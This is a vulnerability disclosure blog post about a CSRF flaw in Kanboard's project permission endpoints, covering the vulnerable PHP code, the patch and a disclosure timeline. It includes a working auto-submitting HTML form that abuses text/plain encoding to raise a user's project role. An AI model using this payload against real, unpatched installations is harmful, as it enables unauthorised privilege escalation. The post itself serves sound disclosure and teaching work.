CVE-2026-24885 – Kanboard CSRF via Content-Type Misconfiguration
In this blog post, I’ll share how I discovered a CSRF vulnerability in Kanboard during a weekend security research project. Since I’m currently learning security code review, I chose this project as a practical way to improve my skills. I’ll also cover the complete process that resulted in the vulnerability.
About Target
Kanboard is an open-source Kanban based project management platform that has approximately 9.5k stars on GitHub and more than 10 million downloads on Docker Hub.
- Affected version <
1.2.49 - Vulnerability report
Introduction
During my assessment of the application, I observed that most endpoints use application/x-www-form-urlencoded as the Content-Type, and these endpoints were protected by CSRF tokens. However, some functionalities accepted application/json
requests. This led me to review the code paths handling JSON-based requests to identify any security misconfigurations.
One of the endpoints accepting application/json requests was the permission update endpoint, used to modify a user's role within a project (e.g., Project Manager, Project Viewer, or Project Member).
![]()
Vulnerable Code
While reviewing the changeUserRole function, I noticed that it did not implement any CSRF protection. This means that the endpoint could potentially be exploited through a CSRF attack, allowing a low-privileged user to trick a high-privileged user (such as an admin) into upgrading their project role.
However, there was one challenge: using the application/json Content-Type generally makes CSRF exploitation more difficult. To bypass this limitation, I tested whether the endpoint would accept requests with a text/plain Content-Type. Since there was no strict validation enforcing application/json, the server processed the request successfully, making CSRF exploitation possible
// Vulnerable change user role functionality
public function changeUserRole()
{
$project = $this->getProject();
$values = $this->request->getJson();
if (empty($project) ||
empty($values)
) {
$this->response->json(array('status' => 'error'), 500);
return;
}
$userRole = $this->projectUserRoleModel->getUserRole($project['id'], $values['id']);
$usersGroupedByRole = $this->projectUserRoleModel->getAllUsersGroupedByRole($project['id']);
if ($userRole === 'project-manager' &&
$values['role'] !== 'project-manager' &&
count($usersGroupedByRole['project-manager']) <= 1
) {
$this->response->json(array('status' => 'error'), 500);
return;
}
$this->projectUserRoleModel->changeUserRole($project['id'], $values['id'], $values['role']);
$this->response->json(array('status' => 'ok'));
}
// Vulnerable change group role functionality
public function changeGroupRole()
{
$project = $this->getProject();
$values = $this->request->getJson();
if (! empty($project) && ! empty($values) && $this->projectGroupRoleModel->changeGroupRole($project['id'], $values['id'], $values['role'])) {
$this->response->json(array('status' => 'ok'));
} else {
$this->response->json(array('status' => 'error'));
}
}
Creating CSRF PoC
Since the application accepts text/plain content-type for JSON, I can exploit CSRF using an HTML form. However, forms send data as name=value, so I need to add a dummy parameter to split the JSON payload at the = sign the name attribute contains the JSON before =,
and the value attribute contains what's after, resulting in valid JSON like {"id":2,"role":"project-member","a":"=a"}.
<!DOCTYPE html>
<html>
<body>
<form action="http://localhost/?controller=ProjectPermissionController&action=changeUserRole&project_id=1"
method="POST"
enctype="text/plain">
<input type="hidden" name='{"id":2,"role":"project-manager","a":"' value='a"}'>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
With the PoC complete, the crafted CSRF payload can be sent to a high-privileged user. If the authenticated user visits the malicious page, the request is automatically triggered, resulting in the low-privileged user's role being upgraded to Project Manager.
Patch
The issue has been addressed by adding CSRF protection to both the changeUserRole and changeGroupRole functions. Furthermore, proper Content-Type validation has been enforced to prevent the acceptance of unintended request types.
public function changeUserRole()
{
$this->checkReusableGETCSRFParam();
$project = $this->getProject();
if (! $this->request->isAjax()) {
$this->response->json(array('status' => 'error'), 400);
return;
}
$values = $this->request->getJson();
Full PR on github.
I hope you enjoyed this blog post. Special thanks to the Kanboard maintainers for their quick response and for fixing the vulnerability.
Thank you for reading. cheers, noobstain ^_^.
Timelines
| Date | Status |
|---|---|
| 26 Jan 2026 | Submitted report |
| 27 Jan 2026 | Patch for the vulnerability is released |
| 28 Jan 2026 | CVE assigned |
| xx Jan 2026 | Report Published Publicly |
